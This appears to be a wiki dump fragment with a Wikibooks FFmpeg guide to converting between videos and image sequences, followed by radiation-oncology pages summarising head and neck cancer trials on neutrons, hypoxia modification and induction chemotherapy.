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        <username>R. Henrik Nilsson</username>
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      <text bytes="13507" sha1="eqnr58kn1qqkqflbj8atm1yv3rm5f6r" xml:space="preserve">FFMPEG has a powerful set of features relating to creating video from images, or generating an image sequence from a video.

== Overview ==

To create a video from a set of images:

  ffmpeg -i image-%03d.png video.webm

To create a set of images from a video:

  ffmpeg -i video.webm image-%03d.png

When no further arguments are given a set of defaults will be used. For example the framerate will be 25 and the encoding will be inferred from the filenames.

The &lt;code&gt;image-%03d.png&lt;/code&gt; part is a filename pattern. This particular pattern corresponds to &lt;code&gt;image-000.png&lt;/code&gt;, &lt;code&gt;image-001.png&lt;/code&gt;, &lt;code&gt;image-002.png&lt;/code&gt; up to &lt;code&gt;image-999.png&lt;/code&gt;.  The &quot;&lt;code&gt;%03d&lt;/code&gt;&quot; represents a sequence of three, zero-padded, decimal digits.  There is more to know about filename patterns which will explained in a later section.

The canonical form to work with image sequences is to use the &lt;code&gt;-f image2&lt;/code&gt; argument like this:

  ffmpeg -f image2 -i image-%03d.png video.webm

and

  ffmpeg -i video.webm -f image2 image-%03d.png

But ffmpeg is very good with inferring that information so this chapter will omit that argument in all examples unless absolutely necessary.

&lt;includeonly&gt;{{FULLBOOKNAME}}{{FULLBOOKNAME}}{{FULLPAGENAME}}↙&lt;/includeonly&gt;

== Making a video from an Image Sequence ==

  ffmpeg -i image-%03d.png video.webm

This will create a video with the filename video.webm from the image files named image-000.png, image-001.png, image-002.png, up to the last sequentially numbered three digit image file.

The encoding of the images and of the video is inferred from the extensions. The framerate is 25 fps by default. The video width and height is taken from the images. The images have to be all of the same dimension.

=== Filename numbering ===

Ffmpeg expects the numbering to start at 0 (or 000 in this example). If your files do not start at 000 then use the argument &lt;code&gt;-start_number&lt;/code&gt; to tell ffmpeg the first number of your files:

  ffmpeg -start_number 100 -i image-%03d.png video.webm

The same argument can be used to skip over a number of files and start at a certain number.

The numbering has to be consecutive. Ffmpeg will stop at the last consecutive numbered filename.

For example if you have following files:

  image-000.png
  image-001.png
  image-002.png
  image-005.png

Then ffmpeg will only process the first three and ignore the last file. If you have missing numbers you can use a [[FFMPEG An Intermediate Guide/image sequence#Not_numbered_or_no_regular_pattern|glob pattern]] or rename all the remaining files to close the gap.

=== Framerate ===

The default framerate is 25 fps. That means each image is shown 1/25 of a second. This is a speed which creates the illusion of a smooth animation for most humans eyes. If you still want more frames per second then use the &lt;code&gt;-framerate&lt;/code&gt; argument:

  ffmpeg -framerate 60 -i image-%03d.png video.webm

If you want to have a slideshow then you have to lower the input framerate. The following command will show each image 5 seconds long:

  ffmpeg -framerate 1/5 -i image-%03d.png video.webm

It may be necessary to force the video framerate up:

  ffmpeg -framerate 1/5 -i image-%03d.png -r 30 video.webm

=== Slideshow with different durations ===

You can make a slideshow with different duration for each picture, by using the zoompan filter. In the following example each picture is shown 1 second (25 frames), except the 4th picture (the enumeration start with 0) is shown 3 seconds (25+50 frames) and the 6th picture is shown 5 seconds (25+100 frames):

  ffmpeg -i image-%3d.jpg -vf &quot;zoompan=d=25+'50*eq(in,3)'+'100*eq(in,5)'&quot; test.mp4

=== Slideshow with crossfading between the pictures ===

You can make a slideshow with crossfading between the pictures, by using a combination of the zoompan and framerate filters. &quot;A&quot; is the duration in seconds how long each picture is shown (without the crossfade duration), and &quot;B&quot; is the crossfade duration in seconds.

&lt;nowiki&gt;*&lt;/nowiki&gt;This example is completely broken and only includes the first 3 images*

 ffmpeg -i IMG_%3d.jpg -vf zoompan=d=(A+B)/B:fps=1/B,framerate=25:interp_start=0:interp_end=255:scene=100 -c:v mpeg4 -maxrate 5M -q:v 2 out.mp4


===mp4===
Creating mp4&lt;ref&gt;[https://fractalforums.org/mandelbulb3d/13/creating-a-video/4958/msg36079 fractalforums.org : creating-a-video]&lt;/ref&gt;
 ffmpeg -framerate 60 -r 60 -i image%06d.png -pix_fmt yuv420p -profile:v high -level:v 4.1 -crf:v 20 -movflags +faststart output.mp4

* for other than 60 fps, change framerate and r
* input is image000001.png, image000002.png, ... , %06d means a zero-padded number with six digits, change if your input images are named differently
* -pix_fmt yuv420p is required for compatibility with most players (default is yuv444 or maybe even rgb, which most players don't handle well if at all)
* -profile:v, -level:v also control compatibility settings, 4k probably needs a higher level setting
* -crf:v is the quality-vs-size control, lower numbers are higher quality larger file size, higher numbers are lower quality smaller file size, crf 20 is pretty high quality, iirc changing by 6 affects the file size by a factor of 2
* -movflags +faststart is required for streaming (otherwise the whole file has to be downloaded before playback can start)
* ffmpeg can also add/encode a soundtrack if you want one

== Making an Image Sequence from a video ==

  ffmpeg -i video.webm image-%03d.png

This will extract 25 images per second from the file video.webm and save them as &lt;code&gt;image-000.png&lt;/code&gt;, &lt;code&gt;image-001.png&lt;/code&gt;, &lt;code&gt;image-002.png&lt;/code&gt; up to &lt;code&gt;image-999.png&lt;/code&gt;. If there are more than 1000 frames then the last image will be overwritten with the remaining frames leaving only the last frame.

The encoding of the images and of the video is inferred from the extensions. The framerate is 25 fps by default. The images width and height is taken from the video.

Extract one image per second:

  ffmpeg -i video.webm -vf fps=1 image-%03d.png

Extract one image from a specific time:

  ffmpeg -i video.webm -ss 00:00:10 -vframes 1 thumbnail.png

== Filename patterns ==

Usually ffmpeg has one input file and one output file, but when we want to create a video from a set of image then we have a set of input files. Likewise, when extracting images from a video file there is a set of output files. A filename pattern is a pseudo filename to describe a set of filenames.

There are roughly three types of filename patterns:

{| class=&quot;wikitable&quot;
|-
! pattern type
! corresponding filenames
! description

|-
| &lt;code&gt;image-%03d.png&lt;/code&gt;
| 
  image-000.png
  image-001.png
  image-002.png
  ...
  image-999.png
| Numbered with leading zeroes

|-
| &lt;code&gt;image-%d.png&lt;/code&gt;
| 
  image-1.png
  image-2.png
  ...
  image-9.png
  image-10.png
  image-11.png
  ...
  image-99.png
  image-100.png
  ...
| Numbered without leading zeroes

|-
| &lt;code&gt;image-*.png&lt;/code&gt;
(needs an argument to enable)
| 
  image-a.png
  image-b.png
  image-c.png
  ...
  image-foo.png
  image-bar.png
  ...
  image-.png
  ...
| Not numbered or no regular pattern
|}

Technically there is a fourth form: the single image form. But that is a trivial special case and will not be discussed further in this section.

=== Numbered with leading zeroes ===

This pattern:

  image-%03d.png

Corresponds to the following filenames:

  image-000.png
  image-001.png
  image-002.png
  ...
  image-999.png

In words: the string &lt;code&gt;image-&lt;/code&gt; followed by three digits followed by the string &lt;code&gt;.png&lt;/code&gt;.

The heart of the filename expansion mechanism is the substring starting at the character &lt;code&gt;%&lt;/code&gt; and ending at the character &lt;code&gt;d&lt;/code&gt;. Everything before the &lt;code&gt;%&lt;/code&gt; and after the &lt;code&gt;d&lt;/code&gt; is taken literally. Everything from &lt;code&gt;%&lt;/code&gt; to &lt;code&gt;d&lt;/code&gt; is replaced by one or more digits.

The general form is &lt;code&gt;%0Nd&lt;/code&gt; where &lt;code&gt;N&lt;/code&gt; is a number larger than zero which determines how many digits there are.

{{Wikipedia|printf_format_string}}

Note: the &lt;code&gt;%0Nd&lt;/code&gt; notation is commonly used in many programming languages. The notation is so complex because it is designed to accommodate many different use cases. The ffmpeg developers borrowed the notation and stripped it down to just one use case: how many digits. That is why it may seem unnecessarily complex.

=== Percent in filename ===

There is a special case if the filenames itself contains the &lt;code&gt;%&lt;/code&gt; character. Because the &lt;code&gt;%&lt;/code&gt; character has a special meaning in the pattern care has to be taken. A single &lt;code&gt;%&lt;/code&gt; character in the pattern will be interpreted as the beginning of the substring to be replaced by digits. To specify a literal &lt;code&gt;%&lt;/code&gt; the character has to be doubled in the pattern. The technical jargon for this is to &quot;escape&quot; the character.

For example this pattern:

  image-%02d%%.png

Corresponds to the following filenames:

  image-00%.png
  image-01%.png
  image-02%.png
  ...
  image-99%.png

=== Numbered without leading zeroes ===

If the number in the filenames are not padded with leading zeroes then the pattern is &lt;code&gt;%d&lt;/code&gt;.

This pattern:

  image-%d.png

Corresponds to the following filenames:

  image-1.png
  image-2.png
  ...
  image-9.png
  image-10.png
  image-11.png
  ...
  image-99.png
  image-100.png
  ...

=== Not numbered or no regular pattern ===

If the filenames are not numbered using digits or are otherwise not formatted regularly then one can use the glob pattern. Glob patterns must be enabled using the argument &lt;code&gt;-pattern_type glob&lt;/code&gt;. Note that this is not supported on Windows.

Example ffmpeg command with glob pattern enabled:

  ffmpeg -pattern_type glob -i &quot;image-*.png&quot; video.webm

This pattern:

   &quot;image-*.png&quot;

Corresponds to the following filenames:

  image-a.png
  image-b.png
  image-c.png

but also to the following filenames:

  image-foo.png
  image-bar.png

and also to:

  image-.png

and to any filename which follows the pattern string &lt;code&gt;image-&lt;/code&gt; followed by anything followed by the string &lt;code&gt;.png&lt;/code&gt;.

Generally the pattern &lt;code&gt;*&lt;/code&gt; corresponds to anything of any length and that means even nothing.

{{Wikipedia|glob (programming)}}

There are more glob patterns. For example &lt;code&gt;?&lt;/code&gt; which corresponds to any single character. But we will not go in to more details here. The interested reader can read more in depth information in the wikipedia page about glob (programming).

=== Quote the glob pattern ===

It is necessary to place the glob pattern in quotes otherwise the shell will expand the glob before executing the command.

For example the glob pattern in this command:

  ffmpeg -pattern_type glob -i image-*.png video.webm

will be expanded by the shell to:

  ffmpeg -pattern_type glob -i image-foo.png image-bar.png video.webm

before it is executed. Note that this command has a different meaning because now &lt;code&gt;image-bar.png&lt;/code&gt; is the second filename argument while &lt;code&gt;video.webm&lt;/code&gt; is a third filename argument.

When placed in quotes the shell will not expand the glob pattern:

  ffmpeg -pattern_type glob -i &quot;image-*.png&quot; video.webm

=== Order of files from glob pattern ===

Numbered files have a clearly defined ordering. For the most part humans and computers alike agree how to sort the numbers. This is especially true for numbers with leading zeroes. &lt;code&gt;015&lt;/code&gt; clearly comes before &lt;code&gt;110&lt;/code&gt;. Without leading zeroes things get a bit more complicated. Most computers will sort &lt;code&gt;15&lt;/code&gt; after &lt;code&gt;110&lt;/code&gt;. But this problem is solved by the &lt;code&gt;%d&lt;/code&gt; notation.

When the files are no longer numbered or not regularly then things can get very strange. For example should &lt;code&gt;ae&lt;/code&gt; sort before or after &lt;code&gt;aaa&lt;/code&gt;? Computers are deterministic and always have an idea of how to sort things, but that idea of order does not necessarily makes sense for a human.

The order of the files from a glob pattern is determined by the glob system call. On most systems the idea of order of the glob system call can be manipulated using an environment variable named &lt;code&gt;LC_COLLATE&lt;/code&gt;. But this book will not discuss that.

For small number of files the order returned by a glob can be inspected by letting a shell expand the glob. This works because most shells uses the same glob system call as ffmpeg would.

This command typed in a shell:

  echo image-*.png

will print a list of filenames. That same list in the same order will be the list of files processed by ffmpeg if given the glob pattern.

If the order is not satisfactory or the number is too large to inspect by humans then the best course of action is to rename the files to be regularly numbered and then use the &lt;code&gt;%0Nd&lt;/code&gt; pattern.

==References==

The fine ffmpeg manual and wiki located at:
* http://www.ffmpeg.org/documentation.html
* https://trac.ffmpeg.org/wiki

More specific the following pages:
* http://www.ffmpeg.org/ffmpeg.html
* http://www.ffmpeg.org/faq.html#How-do-I-encode-single-pictures-into-movies_003f
* http://www.ffmpeg.org/faq.html#How-do-I-encode-movie-to-single-pictures_003f
* http://www.ffmpeg.org/ffmpeg-formats.html#image2-1
* http://www.ffmpeg.org/ffmpeg-formats.html#image2-2
* https://trac.ffmpeg.org/wiki/Create%20a%20video%20slideshow%20from%20images
* https://trac.ffmpeg.org/wiki/Create%20a%20thumbnail%20image%20every%20X%20seconds%20of%20the%20video

{{BookCat}}</text>
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  <page>
    <title>Radiation Oncology/Head &amp; Neck/Neutrons</title>
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&lt;big&gt;'''Head &amp; Neck Cancers: Neutron Therapy'''&lt;/big&gt;


*Initial results from Hammersmith Hospital appeared promising
*However, results from a randomized RTOG trial with mixed neutrons/photons did not show a benefit in local control or overall survival
*A follow up randomized international study with pure neutrons compared with photons again did not show a benefit, with significantly worse long-term toxicity
*Neutron trials in general head &amp; neck cancers have for now been abandoned. There may be a role for neutrons in [[Radiation_Oncology/Head_%26_Neck/Salivary_gland#Neutron_Therapy|salivary gland]] therapy


*'''NTCWG 85-22''' (1986-1991) -- neutrons vs photons
**Randomized. 5 institutions in US and UK. 169 patients, Stage III-IV (T1N3, T2N+, or T3-4) SCC of H&amp;N. Arm 1) neutrons 20.4/12 over 4 weeks vs. Arm 2) photons 70/35
**'''3-years; 1995''' {{PMID|7790244}} -- &quot;Fast-neutron therapy in advanced head and neck cancer: a collaborative international randomized trial.&quot; (Maor MH, Int J Radiat Oncol Biol Phys. 1995 Jun 15;32(3):599-604.)
***3-year outcome: CR neutrons 70% vs. photons 52% (SS); LRF 63% vs. 68% (NS); OS 27% both arms (NS)
***Toxicity: acute comparable, late Grade 3-5 neutrons 40% vs. photons 18% (SS)
***Conclusion: Long term outcomes comparable, but toxicity worse with neutrons

*'''US Neutron Cooperative''' (1977-1982) -- neutron/photon vs electron/photon
**Randomized. 327 patients, inoperable SCC of H&amp;N (oral cavity, oropharynx, supraglottic larynx, hypopharynx), T2-4 any N. Arm 1) neutron/photon beams (photons 40-44 Gy + neutrons 7.5-10 Gy) vs. 2) photon/electron beams 66-74 Gy
**'''1989''' {{PMID|2681103}} -- &quot;Mixed neutron/photon irradiation of unresectable squamous cell carcinomas of the head and neck: the final report of a randomized cooperative trial.&quot; (Griffin TW, Int J Radiat Oncol Biol Phys. 1989 Nov;17(5):959-65.). Minimum F/U 6 years
***Outcome: no difference in LRC or OS; LRC subgroup N+ mixed 30% vs. photons 18% (p=0.05), N0 mixed 33% vs. photons 64% (SS); control of disease in LN 45% vs. 26% (SS)
***Conclusion: No difference between neutron/photon vs. photon/electron beam</text>
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    <title>Radiation Oncology/Head &amp; Neck/Hypoxia</title>
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&lt;big&gt;'''Head &amp; Neck Cancers: Hypoxia'''&lt;/big&gt;


==Overview==
*Anemia is associated with significantly worse locoregional control and survival, as shown in secondary analysis of RTOG 85-27
*However, both a European randomized trial and randomized RTOG 99-03 showed worse outcomes in patients given erythropoietin support 
*Hypoxic cell sensitizers (misonidazole and etanidazole) did not show a clinical benefit
*Carbogen breathing was also not shown to have any benefit


==Erythropoietin==
*'''RTOG 99-03''' (2000-2003) - study closed early
**Randomized. ''Closed early due to other data suggesting worse locoregional control.'' 141 patients (40% of goal) with SCCHN, Stage I-IV. Hemoglobin men &lt;13.5 g/DL and women &lt;12.5 g/dL. RT +/- erythropoietin 40K units weeily. If Stage III-IV, concurrent chemo-RT and/or accelerated RT.  
**'''2007''' {{PMID|17716826}} -- &quot;Radiotherapy With or Without Erythropoietin for Anemic Patients With Head and Neck Cancer: A Randomized Trial of the Radiation Therapy Oncology Group (RTOG 99-03).&quot; (Machtay M, Int J Radiat Oncol Biol Phys. 2007 Nov 15;69(4):1008-17. Epub 2007 Aug 23.). Median F/U 2.5 years
***Hemoglobin: at 4 weeks control -0.2 g/dL vs. Epo +1.7 g/dL
***Outcome: 3-year LRF control 36% vs. Epo 44% (NS). No difference in OS (52% vs. 47%) or toxicity
***Conclusion: Addition of Epo did not improve outcomes

*'''European Multinational''' (1997-2001)
**Randomized. 351 patients with oral cavity, oropharynx, hypopharynx, larynx. Hemoglobin &lt;13.0 g/dL men, &lt;12.0 g/dL women. RT 60-70 Gy +/- Epo 300 U/kg 3x weekly 
**'''2003''' {{PMID|14575968}} -- &quot;Erythropoietin to treat head and neck cancer patients with anaemia undergoing radiotherapy: randomised, double-blind, placebo-controlled trial&quot; (Henke M, Lancet. 2003 Oct 18;362(9392):1255-60.)
***Hemoglobin: 82% given Epo reached &gt;14.0 (men) or &gt;15 (women) compared with 15% control
***Outcome: LR failure placebo 54% vs. Epo 64% (SS), median PFS 2.0 years vs. 1.1 years (SS); OS 48% vs. 39% (same 34% mortality from cancer but worse cardiac/general mortality for Epo)
***Conclusion: Significantly worse LR control and survival with Epo

==Transfusion==
*'''DAHANCA 5''' (1986-1990) [[#Nimorazole|See also discussion at Nimorazole]]
**Randomized. 414 pts w/ pharynx or supraglottic larynx ca. RT median 66 Gy. Randomized: 1) +/- Nimorazole. Pts stratified by low vs normal hgb level (low: males &lt; 9 mmol/L = 14.5 g/dL; females &lt; 8 mmol/L = 12.9 g/dL). Pts with low hgb level underwent 2nd randomization: 2) +/- transfusion (to achieve and sustain normal level, re-checked q2weeks).
**'''1998''' {{PMID|9510041}} -- &quot;A randomized double-blind phase III study of nimorazole as a hypoxic radiosensitizer of primary radiotherapy in supraglottic larynx and pharynx carcinoma. Results of the Danish Head and Neck Cancer Study (DAHANCA) Protocol 5-85.&quot; (Overgaard J, Radiother Oncol. 1998 Feb;46(2):135-46.) -- Median f/u 9 yrs.
***41% of pts had low hgb. 5-yr LRC 46% (high hgb) vs 37% (low). 82 pts randomized to receive transfusion. Only 29/82 transfused pts maintained the goal hgb level. Transfusion did not result in improved LRC (39% transfused vs 35% not transfused). 
***Conclusion: a definite conclusion regarding the effect of transfusion could not be reached and awaits further data from DAHANCA 7.

==Etanidazole==
*'''RTOG 85-27''' (1988-1991)
**Randomized. 521 pts. Stage III-IV. Randomized to RT 66-74 Gy alone or RT + etanidazole (ETA) 3x/week. 
**'''1995''' {{PMID|7790241}} -- &quot;Results of an RTOG phase III trial (RTOG 85-27) comparing radiotherapy plus etanidazole with radiotherapy alone for locally advanced head and neck carcinomas.&quot; (Lee DJ, Int J Radiat Oncol Biol Phys. 1995 Jun 15;32(3):567-76.)  
***Outcome: 2-year LRC control 40% vs etanidazole 40% (NS); OS 41% vs 43%. For N0-1 patients, advantage for ETA for LRC 55% vs 37% (SS).
***Conclusion: No benefit for etanidazole overall, subset benefit in N0-1 disease
**'''1998''' {{PMID|9869231}} -- &quot;Anemia is associated with decreased survival and increased locoregional failure in patients with locally advanced head and neck carcinoma: a secondary analysis of RTOG 85-27.&quot; (Lee WR, Int J Radiat Oncol Biol Phys. 1998 Dec 1;42(5):1069-75.)
***Subset of 451 patients. 46% normal Hgb (men &gt;14.5, women &gt;13), 64% anemic
***Outcome: 5-year OS normal Hgb 36% vs. anemic 22% (SS); LRFR 52% vs. 68% (SS)
***Toxicity: Grade 3+ normal Hgb 20% vs. 13% (NS)
***Conclusion: Low Hgb levels result in worse survival and LR failure


==Misonidazole==
*'''RTOG 79-15''' (1979-1983)
**Randomized. 206 patients, 42% oropharynx, 78% T3-T4, 84% N+. Arm 1) RT + placebo vs. Arm 2) RT + misonidazole 2.0 gm/m2 weekly (on day of misonidazole, RT given BID)
**'''1987''' {{PMID|3301758}} -- &quot;Failure of misonidazole-sensitized radiotherapy to impact upon outcome among stage III-IV squamous cancers of the head and neck.&quot; (Fazekas J, Int J Radiat Oncol Biol Phys. 1987 Aug;13(8):1155-60.)
***Outcome: 2-year LR rate placebo 26% vs. misonidazole 22% (NS); 3-year OS 22% in both groups
***Conclusion: No benefit
**'''1989''' {{PMID|2689395}} -- &quot;The role of hemoglobin concentration in the outcome of misonidazole-sensitized radiotherapy of head and neck cancers: based on RTOG trial #79-15.&quot; (Fazekas JT, Int J Radiat Oncol Biol Phys. 1989 Dec;17(6):1177-81.)
***Outcome: No difference

*'''RTOG 79-04''' (1979-1983)
**Randomized. 40 patients, unresectable Stage III-IV oral cavity, oropharynx, hypopharynx. Arm 1) RT 44-52 Gy in 4 Gy/fx vs. Arm 2) same RT + misonidazole 1.5 gm/m2 3x per week
**'''1989''' {{PMID|2646255}} -- &quot;A phase I/II study of the hypoxic cell sensitizer misonidazole as an adjunct to high fractional dose radiotherapy in patients with unresectable squamous cell carcinoma of the head and neck: a RTOG randomized study (#79-04).&quot; (Lee DJ, Int J Radiat Oncol Biol Phys. 1989 Feb;16(2):465-70.)
***Outcome: 2-year LRC: RT alone 10% vs. RT + MISO 17% (NS)
***Toxicity: No difference
***Conclusion: No benefit for misonidazole; high fractional dose RT tolerable
 
==Nimorazole==
'''Nimorazole''' is a hypoxic cell radiosensitizer. Compared with misonidazole, nimorazole is better tolerated, with its major toxicity being nausea/vomiting (vs misonidazole which can lead to neuropathy).

*'''DAHANCA 5''' (1986-1990) [[#Transfusion|See also discussion at Transfusion]]
**Randomized. 414 pts w/ pharynx or supraglottic larynx ca. RT median 66 Gy. Randomized: 1) +/- Nimorazole. Pts with low hgb level underwent 2nd randomization: 2) +/- transfusion.
**'''Outcome; 1998''' {{PMID|9510041}} -- &quot;A randomized double-blind phase III study of nimorazole as a hypoxic radiosensitizer of primary radiotherapy in supraglottic larynx and pharynx carcinoma. Results of the Danish Head and Neck Cancer Study (DAHANCA) Protocol 5-85.&quot; (Overgaard J, Radiother Oncol. 1998 Feb;46(2):135-46.) -- Median f/u 9 yrs.
***5-yr LRC 49% (NIM) vs 33% (placebo), cause-specific survival 52% vs 41%, but non-sig. difference in OS. Benefit was seen in all subgroups. NIM sensitizes patients with both high and low hgb.
***Conclusion: improved tumor control with nimorazole
**'''HPV Response; 2009''' {{PMID|19289615}} -- &quot;Effect of HPV-associated p16INK4A expression on response to radiotherapy and survival in squamous cell carcinoma of the head and neck.&quot; (Lassen P, J Clin Oncol. 2009 Apr 20;27(12):1992-8. Epub 2009 Mar 16.)
***Subset analysis. p16/HPV+ in 22%
***Outcome: 5-year LRC p16+ 58% vs p16- 28% (SS), DSS 72% vs 34% (SS), OS 62% vs 26% (SS). p16 remained strong predictor on MVA
***Conclusion: Expression of p16 has a major impact on treatment response and survival
**'''HPV &amp; Hypoxia; 2010''' {{PMID|19910068}} -- &quot;HPV-associated p16-expression and response to hypoxic modification of radiotherapy in head and neck cancer.&quot; (Lassen P, Radiother Oncol. 2010 Jan;94(1):30-5. Epub 2009 Nov 10.)
***Subset analysis. 331 patients with pretreatment tumor blocks, stained for p16. p16+ in 25% (oropharynx 37%, SGL 21%, others 10%)
***Outcome: Nimorazole improved LRC overall (HR 0.7, SS). p16- improved LRC overall (HR 0.4, SS). If p16-, nimorazole improved LRC (HR 0.7, SS), but if p16+, nimorazole did not improved LRC (HR 0.9, NS)
***Conclusion: Hypoxic modification improved outcome in HPV/p16 negative patients, but had no impact in HPV/p16 positive patients

==Transfusion==
*'''DAHANCA 5''' (1986-1990) [[#Nimorazole|See also discussion at Nimorazole]]
**Randomized. 414 pts w/ pharynx or supraglottic larynx ca. RT median 66 Gy. Randomized: 1) +/- Nimorazole. Pts stratified by low vs normal hgb level (low: males &lt; 9 mmol/L = 14.5 g/dL; females &lt; 8 mmol/L = 12.9 g/dL). Pts with low hgb level underwent 2nd randomization: 2) +/- transfusion (to achieve and sustain normal level, re-checked q2weeks).
**'''1998''' {{PMID|9510041}} -- &quot;A randomized double-blind phase III study of nimorazole as a hypoxic radiosensitizer of primary radiotherapy in supraglottic larynx and pharynx carcinoma. Results of the Danish Head and Neck Cancer Study (DAHANCA) Protocol 5-85.&quot; (Overgaard J, Radiother Oncol. 1998 Feb;46(2):135-46.) -- Median f/u 9 yrs.
***Outcome: 41% of pts had low hgb. 5-yr LRC 46% (high hgb) vs 37% (low). 82 pts randomized to receive transfusion. Only 29/82 transfused pts maintained the goal hgb level. Transfusion did not result in improved LRC (39% transfused vs 35% not transfused). 
***Conclusion: a definite conclusion regarding the effect of transfusion could not be reached and awaits further data from DAHANCA 7.

==Carbogen (95% oxygen + 5% CO2)==
*'''RTOG 70-02''' (1972-1976)
**Randomized. 254 patients. T2-4N0-3, Oral cavity, oropharynx, nasopharynx, hypopharynx, larynx; also esophageal cancers (24%). Arm 1) RT + concurrent carbogen breathing vs. Arm 2) RT + air. RT 60-70 Gy (oral cavity max 80 Gy)
**'''1979''' {{PMID|120869}} - &quot;Carbogen breathing during radiation therapy-the Radiation Therapy Oncology Group Study.&quot; (Rubin P, Int J Radiat Oncol Biol Phys. 1979 Nov-Dec;5(11-12):1963-70.)
***Outcome: 2-year LC carbogen 51% vs. air 51% (NS); no SS difference by site. Median OS carbogen 1.5 years vs. air 1.5 years (NS)
***Toxicity: No significant difference
***Conclusion: No difference


==Hyperbaric Oxygen==
*'''Yale''' (1974-1975) -- RT in air vs RT in HBO
**Randomized. 48 patients, locally advanced unresectable SCCHN. Arm 1) RT in air 25.3/2 vs. Arm 2) RT in HBO-4 23/2. HBO given under general anesthesia, 4 atmospheres
**'''1999''' {{PMID|10606475}} -- &quot;Radiation therapy with hyperbaric oxygen at 4 atmospheres pressure in the management of squamous cell carcinoma of the head and neck: results of a randomized clinical trial.&quot; (Haffty BG, Cancer J Sci Am. 1999 Nov-Dec;5(6):341-7.)
***Outcome: CR air 52% vs. HBO 84%, 5-year LC 16% vs. 29%. No difference in OS, DM or second primary tumors
***Severe toxicity: air 28% vs. HBO 52%
***Conclusion: Substantial improvement in response rate with HBO. Hypofractionation scheme suboptimal</text>
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    <title>Radiation Oncology/Head &amp; Neck/Neoadjuvant Chemo</title>
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&lt;big&gt;'''Head &amp; Neck Cancer: Neoadjuvant Chemotherapy'''&lt;/big&gt;

:''For neoadjuvant chemotherapy combined with concurrent chemo-RT see page at'' [[Radiation Oncology/Head &amp;  Neck/Concurrent Chemo-RT#neoadjuvant|Concurrent Chemo-RT]]


==Induction Chemotherapy vs RT Alone==
*'''DAHANCA 4''' (1986-1991) -- neoadjuvant cisplatin + 5-FU and RT vs RT alone
**461 pts (tumors of OC,OP,HP,L). Randomized to: 1) RT alone (64-70 Gy) (or RT + surgery if OC) vs 2) 3 cycles cisplatin + 5-FU followed by RT.
**'''1997''' {{PMID|9165133}} [http://www.dahanca.dk/get_media_file.php?mediaid=28 Full text] -- &quot;Neoadjuvant chemotherapy with cisplatin and 5-fluorouracil in advanced squamous cell carcinoma of the head and neck: a randomized phase III study.&quot; (Lewin F, Radiother Oncol. 1997 Apr;43(1):23-8.)
***Reponse rate 71% (neoadj chemo) vs 66% (RT only), NS; CR in 48% vs 39%. No difference in OS or LRC.
***Conclusion: no benefit to neoadj chemo followed by RT

*'''Wayne State; 1985''' - {{PMID|4038469}} &amp;mdash; &quot;Improved complete response rate and survival in advanced head and neck cancer after three-course induction therapy with 120-hour 5-FU infusion and cisplatin.&quot; Rooney M et al. Cancer. 1985 Mar 1;55(5):1123-8.
**Pilot study. Pts received one of several regimens of induction chemotherapy: 2 courses cisplatin + vincristine + bleomycin (COB), 2 courses cisplatin + 96-hr 5-FU infusion, or 3 courses cisplatin + 120-hr 5-FU infusion.  Pts went on to surgery or RT. 
**High overall response rate in all 3 arms. CR rate higher in 120-hr 5-FU/Cisplatin regimen, 54% vs 29% (COB) and 19% (96-hr). Also higher survival for that regimen. Responders to initial chemo have higher survival vs non-responders. 
**Conclusion: multimodality treatment is feasible.

*'''VA Larynx Trial''' - {{PMID|2034244}} 
**Randomized. Pts with Stage III or IV laryngeal carcinoma randomized to induction chemo + XRT or surgery + XRT.  
**See details at [[Radiation Oncology/Head &amp; Neck/Larynx|Larynx]].
 
*'''RTOG 91-11''' - {{PMID|14645636}} 
**Larynx. 3 arms: induction chemo + RT, concurrent chemo/RT, XRT alone.
**See details at [[Radiation Oncology/Head &amp; Neck/Larynx|Larynx]].

*'''Rush Presbytarian, Chicago''' (1976-1982) -- Induction chemo vs surgery +/- postop RT
**Randomized. 95 patients, poor prognosis Stage II, Stage III-IV. Arm 1) Induction chemo x2 weeks vs Arm 2) Regional therapy only (surgery +/- postop RT). Adjuvant chemo q3months x1 year.  Initially received methotrexate / leucovorin, but was changed to Adriamycin + cisplatin because of toxicity concerns.
**'''1985''' {{PMID|3889230}} &amp;mdash; &quot;A randomized trial of adjuvant chemotherapy in head and neck cancer.&quot; (Taylor SG et al. J Clin Oncol. 1985 May;3(5):672-9.)
***Outcome: No difference in disease control or survival.
***Conclusion: Induction chemotherapy doesn't improve outcomes

*'''RTOG 68-01''' -- Methotrexate
**Randomized. 638 patients, Stage III-IV oral cavity (23%), oropharynx (55%), supraglottic larynx (12%), hypopharynx (10%). Arm 1) RT alone vs. Arm 2) IV MTX 25 mg q3d x5 followed by RT. RT 55-80 Gy
**'''1980''' {{PMID|7410127}} -- &quot;Adjuvant intravenous methotrexate or definitive radiotherapy alone for advanced squamous cancers of the oral cavity, oropharynx, supraglottic larynx or hypopharynx.&quot; (Fazekas JT, Int J Radiat Oncol Biol Phys. 1980 May;6(5):533-41.)
***Outcome: median OS RT vs. MTX-RT: oral cavity 11.8 mo vs. 12.4 mo, oropharynx 13.6 mo vs. 13.1 mo, SGL 17.2 mo vs. 19.2 mo, hypopharynx 9.7 mo vs. 13.4 mo
***Conclusion: Minimal gain, induction methotrexate should not be used

==Induction Chemotherapy: Combinations==
*'''EORTC 24971 / TAX 323''' -- PF vs TPF, followed by RT
**Randomized. 358 patients with unresectable Stage III/IV disease and no mets (Oropharynx 46%, hypopharynx 29%, oral cavity 18%, larynx 7%) Induction PF (cisplatin 100mg/m2, 5-FU 1000mg/m2) vs. TPF (docetaxel 75mg/m2, cisplatin 75mg/m2, 5-FU 750 mg/m2) x4 cycles. If no progression, RT start within 4-7 weeks after completing chemo. RT standard (66-70 Gy) or accelerated (max 70 Gy) or hyperfractionated (max 74 Gy). No concurrent chemo (?)
**Protocol compliance: PF 66% completed induction vs. TPF 76%. Progressive disease PF 7% vs. TPF 8%; adverse events PF 12% vs. TPF 6%; death PF 7% vs. TPF 3%
**'''2007''' {{PMID|17960012}} -- &quot;Cisplatin, Fluorouracil, and Docetaxel in Unresectable Head and Neck Cancer&quot; (Vermorken JB, N Engl J Med 2007 Oct 25; 357(17):1695-704). Median F/U 2.7 years
***Outcome: median PFS TPF 11 months vs. PF 8.2 months (SS); median OS 14 months vs. 19 months (SS), risk of death decreased by 27%
***Toxicity: TPF leukopenia and neutropenia vs. PF thrombocytopenia, N/V, stomatitis, hearing loss
***Conclusion: Induction with TPF superior over induction with PF

*'''TAX 324''' -- PF vs TPF, followed by Chemo-RT
